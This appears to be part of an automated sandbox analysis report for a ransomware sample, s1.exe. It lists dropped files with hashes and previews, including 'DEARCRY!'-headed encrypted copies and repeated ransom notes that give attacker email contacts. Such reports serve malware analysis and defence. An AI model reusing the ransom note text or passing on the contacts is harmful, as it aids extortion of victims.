                                                              MD5:C277278ABBCA9737A6ADFC1D123BD99C
                                                              SHA1:7446758FDADCA7556C02E27D4B3321E07B168D59
                                                              SHA-256:F8C01D08A58789A6E675E724A8D72C406953FB1CABA33B38CE6A954253E77F31
                                                              SHA-512:E2897A7F8FA338A749F81A8E3370914C36520D96775C9C3325740DF79022AA28066DFCC2B4289BF76F4251013201CE2E2E6F25ADBAACFB274881D7E3747C1FC3
                                                              Malicious:false
                                                              Preview: DEARCRY!.....:..5.....6.,f.....@.]...bd.-p..r7\..E^.R.T<0.[.@.......3..M..:.......XC).a...^7...Y.X...p..Z.@W.....[)..o....o.#...1.W.)H:.;.d.G.8m...&zH.....l..{..$..8...].C.B....a.0....\.. ..t_..Z.j...........wD.&~..+.....6.k.......w....G...s...E..;......... ......E..hl}..~.H..-8WmviS.4../.v.@FN...rMbA...>8Y*.1$.q.vX.CB.75J..<..g.'V.by.4n4.=.C......Og.fI...._W........./8.O.~..R.Z'.9f....|.i...-.3r.2...2^...P.r'iR...b+./<...).Y>..<.......f.c.........q.Tk......:......K.U..7.:k..[...>...B;.K.G..U|..d~(3.x.. 2....-n.._C.S(?..#.......C..>..w5..... ...D..sfM..P....f3q.....R......H9..K\..:T.J3UQ.5....}.L1.a.dh...1...*V....f.4..D.....l...w.Z.F.Yx....Ow..7.[|R,.........h}...l..^...4a..5.cP..Ay..^#^...&...!s.[.^" r....4X.A.LP.-S1.wp.uU<.+Q.7.......N....f...|. ...L...+|7i.{GhdR.........<0ej@....$y..U..~.q^.o.E.Y..)..Q.*.K=...........'t8..L..F.Z}..Y......AO..s..hf.}@.h..L..'.Z.n....;.?Ga.(F.,}..Td.(.....w.d..*p.1.W.....#...0.....,....F:.pf.&....Z..t.J.?.G.Q..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976783768446549
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8B8CE878A8F557C901666DE09926F536
                                                              SHA1:8F92A84EC31D8212F642BBA2F6B11EE55E848FBD
                                                              SHA-256:F445AD7552FAE446624EDA61D418F928AD5C036C6029334DDE4DC5AA5297017D
                                                              SHA-512:EEC9FAD8C93BCC9473AA29FC054EC8D16C31C7661F1D0C88C6D06B6AAFE0F18AD9EEEAEEA429FD332C9EE8FEE0BE1891992F36F7A44CE0C213B8B0CF871F6BBA
                                                              Malicious:false
                                                              Preview: DEARCRY!....Y.h...~7....h).O7.9...H..v7.e.eSj*.'.U.G.S.PB.:.J."p."C.,rT...^`..x)",.....D:.*T...z.......W.:.....#.......d4,czq.OJ.W.......}@...)0..k..]..=...Y...%...<..Y.uY./.n.:.K2b....G..8.i.lo..]...o..In...Q.r..G_f...D<...H..$.e....'O.-k.J...0...)...T'.7...... ......xd.;Q..y.RF....<x.C.1.Qf.}BY|...m.wn42`.Sk9Q4#'..b.....t&z8k>t.3...i..w.O.^...C....b......k..+.....M.....O...h..V-...P.g.,...(M.K"pX.~.............:R.|4.v.}....x6oG.T?.z.>yP.D.*2=.F..1ix..C..]......1......dl.j.1..1.y..|`.,..-...A....!.#R.#s....h...0.....Vf.^t.<.g5.Ey.;.%.e.7.iT.../.;B`e..F ................LQ...>.4#...=@.O.......|....2..O.]..@....hT..:B.4..Cj=............r..f...A5."S........}.c".g...T....6 ...6.......{1>.h.U.+..#..!......-...n...QDbj`D..E.*.l.1..3...0&_.h;...w........1.3i....J.....j.p.....?K$K.3......Ns..T....$Y.o.4.GY.".,..#g6).18...Or.7.F./QC.u/nb...X..?"....0J.<...C....;.v......fT..[.X._.....F.Y...].R.^#....r..*..F..W...28.j...J.3x.1x...$.B;.=. .. .....&.........
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976862093683756
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6A62EF14D103C3A1F25C8DF51F7447F8
                                                              SHA1:8482363390F5D40BC623FA7093B2028FD6005B5A
                                                              SHA-256:D3136B822FE566E03C9CCA8AB003FF65E07B84390A03B68DAED75DBA6AAC3AE5
                                                              SHA-512:EEABDE5BA377445411966D813D846C3E8FC5F4DC7CBCC0871B220167FAE904BEE541FF134AD874882DD620A4453B3EC61DB7FB72A89095F8DEEDC1369328127B
                                                              Malicious:false
                                                              Preview: DEARCRY!....s...B..mK.*k...7]p...{...*..js"..d&..e...IO.T=C3......"i3C..&A.E.!|.*._.V.......m....m0m.c.....Yc^.=t.!.......(.}.B....3....Sn.......>6m.2ajlv.f:....=c.....;..<.muLVd.p..Be.Xk...Js...G..b.Ye..eWD3S.....+....@6..Yc(.......m.V....rK.z.....i..... ..........5.h.\.J..ko.N....J.P...x....H^CG.^]q|..... ]/T.w%.m.j..B.....F..|..`..V?....W..*.#......s."...X.bu......X0.'..p..\.*..........|..u..Ar...O.......g.[.5.A.5...(.g.......W.:....G.o.o.M.\.2j`b........R.....<..g.....M.3|]..L....!lm;"FLi..O....z.../E.>9..j5..`.F..c...K.ToI\.O'.f"J..\.-0...W.|._..r.....p.r.SQ..C........S}..Nc.J.....]s.7Lc..n..b2.. r..fu....k.w.....K..".........!.lI.....#.L].Tr.......yF....?tG...Y..#[..F.w.....Q.....$.!.[U._...S..D.Rv.b.....q.d]1.;.q..t.M.j.jsb6F...LBo....\...uC..:....9n.........8H.....Z.0k..U.)\...Gz)....pK.&.U.].@:....1.......< ..g...>.$..6...6Tz.\.E...y.,.%..G...;%..c.k..1....';..5._&L..h.n...e*...@..}o........:.7O.al._..6...........D..E..u..H......N.M.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCookies\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):446
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78815198934FF72E47868967418508EC
                                                              SHA1:68463ADC56EFDBAC669EEC1CFB9869DA30261D8B
                                                              SHA-256:53FFCCA284219880E44D7EDD5F3BA8D517A87F506F3D70720668EA1C0017D1E4
                                                              SHA-512:3E1AAF93CB5FCE5DF52622940266FB342EA5B43C3696E03FFC83A1DF4B7C35F98905247E04619461E486C9636F01A4F51FB3AABCA9DBE5105DBA1B4A19CB3F0B
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetHistory\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):446
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78815198934FF72E47868967418508EC
                                                              SHA1:68463ADC56EFDBAC669EEC1CFB9869DA30261D8B
                                                              SHA-256:53FFCCA284219880E44D7EDD5F3BA8D517A87F506F3D70720668EA1C0017D1E4
                                                              SHA-512:3E1AAF93CB5FCE5DF52622940266FB342EA5B43C3696E03FFC83A1DF4B7C35F98905247E04619461E486C9636F01A4F51FB3AABCA9DBE5105DBA1B4A19CB3F0B
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\Temp\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AppData\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalCache\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\RoamingState\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.989126728946427
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D7F1FA16FB8C83B1BA6D6D56CAFCBDE9
                                                              SHA1:29A2B3ED814B2D6130DAAF49A55323632F7FB05A
                                                              SHA-256:F51A8E069B796264AE9AB21CFED9412C4FEF7C01BDFF1DBCDC5F87E2B447EC3B
                                                              SHA-512:D56A1E0AD42F92AC49ECB0AEDA2FE25D1C017D5A042A57F9670E93FEBBD32ADA503FE02D72C05406392BB5DDDF4E03FCF931E3CD0A07E2DE9EDD9F84C40F80D9
                                                              Malicious:false
                                                              Preview: DEARCRY!....I.-m.d6..>..EJ.hkn..%...Uy_.c...@.@......a...=...5...O.J4..%.3...........v.}........R..a.v...i6.hG...:.vuJ.[..w.#.k.....>+...f.!........v1^.U.`.lZir4Uy.\.a..`.........7t2P...H.x..K.-..0whRuE...~....i|..!t..A%..M.C..P(.EF.jD.}Iy...% '$(..Y..... ......|_.9x.Om..._...lR.Q.+.d...>...Gm..s..J3.Sm.s..4.1..d4..lI....?...{V....K..@.....w..E[..h......%.Mv....z....##..t[V..qbC>.h.\zz..h.....W@.T]...)i....t.y..9..o*..R.ns\i.rC.Z4[..-.Z.......$.t<6.HD....F..v3p..w.\......Bo.......[.s^...~.Um..D...^5"....b..........].m.2q....<.'.......&.`HIU5...n=.|3X.e.Yk..Ma]U..D. x..ba.s>.....+....j.....6|........i.Tv..s..%.Ks].....x.z..,R...shLpV...0..u.....s..Li.\..4.^.@.7~...dG.=....b{I..ApC%.IC..4._.....3........W#;.G.....c.[...AW.2....e....P....A.f....N.i^.7....:...}Kd.Sk.. ..........<(./!.,..z4...t..&..H....>0$].r.e.j.Z.|.....k.[D..Fh../.SL.f,.G......Ho[..[5{.po&U...1;..J. .X..[.....k*../iI...Wx.k.]&.l9.....6....<U..8.,..y*S..|./....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
